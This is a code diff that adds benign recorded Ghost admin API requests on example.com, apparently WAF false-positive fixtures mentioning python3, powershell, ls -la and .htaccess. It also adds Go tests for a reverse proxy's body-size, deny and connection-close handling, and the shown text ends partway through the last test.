{"method": "PUT", "target": "/ghost/api/admin/posts/6af5659a6dde5d0001d3d72e/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 713", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AoIVlIxucaQas8uV_V0tI2mNyxYEoOjBC.ajmnN2F%2BNe0IFunZWICXaJjQpUSV75M6lrkP5I0svVs"], "body": "{\"posts\":[{\"title\":\"Getting started with PowerShell\",\"slug\":\"getting-started-with-powershell\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"First published on the old blog.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"canonical_url\":\"https://example.com/blog/powershell/\",\"id\":\"6af5659a6dde5d0001d3d72e\",\"updated_at\":\"2026-11-12T07:07:12.000Z\"}]}"}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/pages/6af565b96dde5d0001d3d735/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 701", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AoIVlIxucaQas8uV_V0tI2mNyxYEoOjBC.ajmnN2F%2BNe0IFunZWICXaJjQpUSV75M6lrkP5I0svVs"], "body": "{\"pages\":[{\"title\":\"Rewrite rules in .htaccess\",\"slug\":\"rewrite-rules-in-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"First published on the old blog.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"canonical_url\":\"https://example.com/blog/.htaccess/\",\"id\":\"6af565b96dde5d0001d3d735\",\"updated_at\":\"2026-11-12T07:07:42.000Z\"}]}"}
|
||||||
{"method": "GET", "target": "/ghost/assets/pages-route-Bx4g0rd3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
{"method": "GET", "target": "/ghost/assets/pages-route-Bx4g0rd3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
@@ -776,7 +778,7 @@
|
|||||||
{"method": "POST", "target": "/ghost/api/admin/integrations/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 55", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\"}]}"}
|
{"method": "POST", "target": "/ghost/api/admin/integrations/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 55", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\"}]}"}
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/integrations/6af5443aa509340001efcfc6/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\",\"description\":\"Runs ls -la and tidies .htaccess files\",\"icon_image\":null}]}"}
|
{"method": "PUT", "target": "/ghost/api/admin/integrations/6af5443aa509340001efcfc6/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\",\"description\":\"Runs ls -la and tidies .htaccess files\",\"icon_image\":null}]}"}
|
||||||
{"method": "POST", "target": "/ghost/api/admin/webhooks/", "headers": ["Host: example.com", "Content-Length: 202", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"webhooks\":[{\"event\":\"post.published\",\"target_url\":\"https://example.com/hooks/python3\",\"name\":\"python3 & powershell hook\",\"secret\":null,\"api_version\":\"v6\",\"integration_id\":\"6af5443aa509340001efcfc6\"}]}"}
|
{"method": "POST", "target": "/ghost/api/admin/webhooks/", "headers": ["Host: example.com", "Content-Length: 202", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"webhooks\":[{\"event\":\"post.published\",\"target_url\":\"https://example.com/hooks/python3\",\"name\":\"python3 & powershell hook\",\"secret\":null,\"api_version\":\"v6\",\"integration_id\":\"6af5443aa509340001efcfc6\"}]}"}
|
||||||
{"method": "POST", "target": "/ghost/api/admin/tags/?include=count.posts", "headers": ["Host: example.com", "Content-Length: 699", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"tags\":[{\"name\":\"Shell\",\"slug\":\"shell\",\"description\":null,\"feature_image\":null,\"meta_title\":\"python3 & powershell tips\",\"meta_description\":\"Run ls -la and tidy .htaccess files with python3.\",\"canonical_url\":\"https://example.com/tag/python3/\",\"twitter_image\":null,\"twitter_title\":\"powershell & python3\",\"twitter_description\":\"ls -la, .htaccess and more\",\"og_image\":null,\"og_title\":\"python3 & powershell\",\"og_description\":\"ls -la and .htaccess tips\",\"codeinjection_head\":\"<meta name=\\\"google-site-verification\\\" content=\\\"x\\\"><link rel=\\\"preconnect\\\" href=\\\"https://fonts.example.com\\\">\",\"codeinjection_foot\":\"<style>.tag-python3 { color: #333; }</style>\",\"accent_color\":null,\"visibility\":\"public\"}]}"}
|
{"method": "POST", "target": "/ghost/api/admin/tags/?include=count.posts", "headers": ["Host: example.com", "Content-Length: 702", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AWHEHmHzgM_62oH0uUMxh6TgpQCaauWmB.h%2FuJNd7nfwPSaFGmMarZNVguG8U1ZIIJsaLFE4%2BqXMA"], "body": "{\"tags\":[{\"name\":\"Shell\",\"slug\":\"shell\",\"description\":null,\"feature_image\":null,\"meta_title\":\"python3 & powershell tips\",\"meta_description\":\"Run ls -la and tidy .htaccess files with python3.\",\"canonical_url\":\"https://example.com/tag/powershell/\",\"twitter_image\":null,\"twitter_title\":\"powershell & python3\",\"twitter_description\":\"ls -la, .htaccess and more\",\"og_image\":null,\"og_title\":\"python3 & powershell\",\"og_description\":\"ls -la and .htaccess tips\",\"codeinjection_head\":\"<meta name=\\\"google-site-verification\\\" content=\\\"x\\\"><link rel=\\\"preconnect\\\" href=\\\"https://fonts.example.com\\\">\",\"codeinjection_foot\":\"<style>.tag-python3 { color: #333; }</style>\",\"accent_color\":null,\"visibility\":\"public\"}]}"}
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5443ba509340001efcfd1/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 315", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"posts\":[{\"updated_at\":\"2026-11-12T04:44:43.000Z\",\"title\":\"Shell notes\",\"feature_image\":\"https://images.example.com/terminal.png\",\"feature_image_alt\":\"A terminal running ls -la on .htaccess with python3\",\"feature_image_caption\":\"python3 & powershell, photo by <a href=\\\"https://example.com/ls-la\\\">Erin</a>\"}]}"}
|
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5443ba509340001efcfd1/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 315", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"posts\":[{\"updated_at\":\"2026-11-12T04:44:43.000Z\",\"title\":\"Shell notes\",\"feature_image\":\"https://images.example.com/terminal.png\",\"feature_image_alt\":\"A terminal running ls -la on .htaccess with python3\",\"feature_image_caption\":\"python3 & powershell, photo by <a href=\\\"https://example.com/ls-la\\\">Erin</a>\"}]}"}
|
||||||
{"method": "POST", "target": "/ghost/api/admin/members/upload/", "headers": ["Host: example.com", "Content-Length: 990", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: multipart/form-data; boundary=----WebKitFormBoundaryq3Lm8vXc2TzR7wKd", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"membersfile\"; filename=\"members.csv\"\r\nContent-Type: text/csv\r\n\r\nemail,name,note,labels\r\npython3.dev@example.com,Grace python3,Asked about ls -la,powershell\r\nerin.htaccess@example.com,Erin,Tidies .htaccess files,python3\r\n\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npython3 import\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npowershell & .htaccess\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[email]\"\r\n\r\nemail\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[name]\"\r\n\r\nname\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[note]\"\r\n\r\nnote\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[labels]\"\r\n\r\nlabels\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd--\r\n"}
|
{"method": "POST", "target": "/ghost/api/admin/members/upload/", "headers": ["Host: example.com", "Content-Length: 990", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: multipart/form-data; boundary=----WebKitFormBoundaryq3Lm8vXc2TzR7wKd", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"membersfile\"; filename=\"members.csv\"\r\nContent-Type: text/csv\r\n\r\nemail,name,note,labels\r\npython3.dev@example.com,Grace python3,Asked about ls -la,powershell\r\nerin.htaccess@example.com,Erin,Tidies .htaccess files,python3\r\n\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npython3 import\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npowershell & .htaccess\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[email]\"\r\n\r\nemail\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[name]\"\r\n\r\nname\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[note]\"\r\n\r\nnote\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[labels]\"\r\n\r\nlabels\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd--\r\n"}
|
||||||
{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&pathname=%2Fpython3-and-powershell%2F", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&pathname=%2Fpython3-and-powershell%2F", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
||||||
|
|||||||
@@ -26,6 +26,10 @@ import (
|
|||||||
// post is the start of a POST whose headers end with what follows it.
|
// post is the start of a POST whose headers end with what follows it.
|
||||||
const post = "POST / HTTP/1.1\r\nHost: site.example\r\n"
|
const post = "POST / HTTP/1.1\r\nHost: site.example\r\n"
|
||||||
|
|
||||||
|
// limitPastFirstPart is a SWW_RPROXY_MAX_REQUEST_SIZE past the first part of a
|
||||||
|
// body, the 64 KiB rproxy reads before it asks waf.
|
||||||
|
const limitPastFirstPart = "128K"
|
||||||
|
|
||||||
// announcedLength is the header that announces a body of size bytes, and the
|
// announcedLength is the header that announces a body of size bytes, and the
|
||||||
// end of the headers.
|
// end of the headers.
|
||||||
func announcedLength(size int) string {
|
func announcedLength(size int) string {
|
||||||
@@ -75,7 +79,10 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
|
|||||||
size, asked int
|
size, asked int
|
||||||
}{
|
}{
|
||||||
{"with the limit within the first part", "1K", 1025, 1024},
|
{"with the limit within the first part", "1K", 1025, 1024},
|
||||||
{"with the limit past the first part", "128K", 129 << 10, questionBodyMaxBytes},
|
{
|
||||||
|
"with the limit past the first part", limitPastFirstPart, 129 << 10,
|
||||||
|
questionBodyMaxBytes,
|
||||||
|
},
|
||||||
} {
|
} {
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
@@ -93,10 +100,15 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
|
|||||||
},
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
got := visit(t, newRequest(t, http.MethodPost, addr, "/",
|
// The visitor sends no Connection: close, so Go's server reads the rest
|
||||||
bytes.NewReader(make([]byte, tc.size))))
|
// of the body before it closes the connection. Closed with the rest
|
||||||
if got.status != http.StatusRequestEntityTooLarge {
|
// unread, the connection is reset while the visitor still sends.
|
||||||
t.Errorf("answered %+v, want 413", got)
|
conn := dial(t, addr)
|
||||||
|
send(t, conn, post+announcedLength(tc.size)+
|
||||||
|
strings.Repeat("x", tc.size))
|
||||||
|
|
||||||
|
if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge {
|
||||||
|
t.Errorf("status %d, want 413", status)
|
||||||
}
|
}
|
||||||
|
|
||||||
if asked := standIn.question(t); len(asked.body) != tc.asked {
|
if asked := standIn.question(t); len(asked.body) != tc.asked {
|
||||||
@@ -131,6 +143,134 @@ func TestADenyOutranksTheBodySizeLimit(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestAVisitorSendingConnectionCloseReadsAnAnswerBeforeTheRestOfItsBody(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, tc := range []struct {
|
||||||
|
name string
|
||||||
|
waf http.HandlerFunc
|
||||||
|
rest int
|
||||||
|
status int
|
||||||
|
}{
|
||||||
|
{"over the size limit", allow, 65 << 10, http.StatusRequestEntityTooLarge},
|
||||||
|
{"denied", deny, 65 << 10, http.StatusForbidden},
|
||||||
|
// rproxy reads 256 KiB of this rest. What it leaves unread must fit in the
|
||||||
|
// connection's buffers. Otherwise the visitor is still sending when the
|
||||||
|
// connection closes, and gets a reset.
|
||||||
|
{
|
||||||
|
"with more than 256 KiB left", allow, 272 << 10,
|
||||||
|
http.StatusRequestEntityTooLarge,
|
||||||
|
},
|
||||||
|
} {
|
||||||
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
standIn := startWAF(t, tc.waf)
|
||||||
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||||
|
t.Error("the app was asked")
|
||||||
|
})
|
||||||
|
addr, _ := startRProxy(t, standIn.URL, app.URL,
|
||||||
|
map[string]string{maxRequestSize: limitPastFirstPart})
|
||||||
|
|
||||||
|
conn := dial(t, addr)
|
||||||
|
send(t, conn, post+"Connection: close\r\n"+
|
||||||
|
announcedLength(questionBodyMaxBytes+tc.rest)+
|
||||||
|
strings.Repeat("x", questionBodyMaxBytes))
|
||||||
|
|
||||||
|
reader := bufio.NewReader(conn)
|
||||||
|
|
||||||
|
res, err := http.ReadResponse(reader, nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("read the answer: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
_, _ = io.Copy(io.Discard, res.Body)
|
||||||
|
_ = res.Body.Close()
|
||||||
|
|
||||||
|
if res.StatusCode != tc.status {
|
||||||
|
t.Errorf("status %d, want %d", res.StatusCode, tc.status)
|
||||||
|
}
|
||||||
|
|
||||||
|
// The rest goes in small parts, so that a reset fails a later one.
|
||||||
|
for sent := 0; sent < tc.rest; sent += 1 << 10 {
|
||||||
|
send(t, conn, strings.Repeat("x", 1<<10))
|
||||||
|
}
|
||||||
|
|
||||||
|
got, err := io.ReadAll(reader)
|
||||||
|
if err != nil || len(got) != 0 {
|
||||||
|
t.Errorf(
|
||||||
|
"after the answer, read %q and %v, want the end",
|
||||||
|
got,
|
||||||
|
err,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCloseDoesNotWaitForTheRestOfTheBodyOfAVisitorSendingConnectionClose(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
standIn := startWAF(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||||
|
w.Header().Set(dispositionHeader, dispositionClose)
|
||||||
|
w.WriteHeader(http.StatusOK)
|
||||||
|
})
|
||||||
|
app := startApp(t, func(http.ResponseWriter, *http.Request) {
|
||||||
|
t.Error("the app was asked")
|
||||||
|
})
|
||||||
|
// The request time limit is far longer than dial's deadline.
|
||||||
|
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||||
|
maxRequestTime: "120000",
|
||||||
|
})
|
||||||
|
|
||||||
|
conn := dial(t, addr)
|
||||||
|
send(t, conn, post+"Connection: close\r\n"+
|
||||||
|
announcedLength(2*questionBodyMaxBytes)+
|
||||||
|
strings.Repeat("x", questionBodyMaxBytes))
|
||||||
|
|
||||||
|
// If the connection stays open, dial's deadline ends this read with a timeout.
|
||||||
|
text, err := io.ReadAll(conn)
|
||||||
|
if err != nil || len(text) != 0 {
|
||||||
|
t.Errorf(
|
||||||
|
"read %q (%v), want the connection closed without an answer",
|
||||||
|
text,
|
||||||
|
err,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAVisitorSendingConnectionCloseGetsTheEndOfAnAnswerWithoutContentLengthAtOnce(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
standIn := startWAF(t, allow)
|
||||||
|
// The flush has the app's server send greeting in chunks instead of adding a
|
||||||
|
// Content-Length.
|
||||||
|
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||||
|
rc := http.NewResponseController(w)
|
||||||
|
_ = rc.EnableFullDuplex()
|
||||||
|
|
||||||
|
_, _ = io.WriteString(w, greeting)
|
||||||
|
_ = rc.Flush()
|
||||||
|
})
|
||||||
|
// The request time limit is far longer than dial's deadline.
|
||||||
|
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||||
|
maxRequestTime: "120000",
|
||||||
|
})
|
||||||
|
|
||||||
|
conn := dial(t, addr)
|
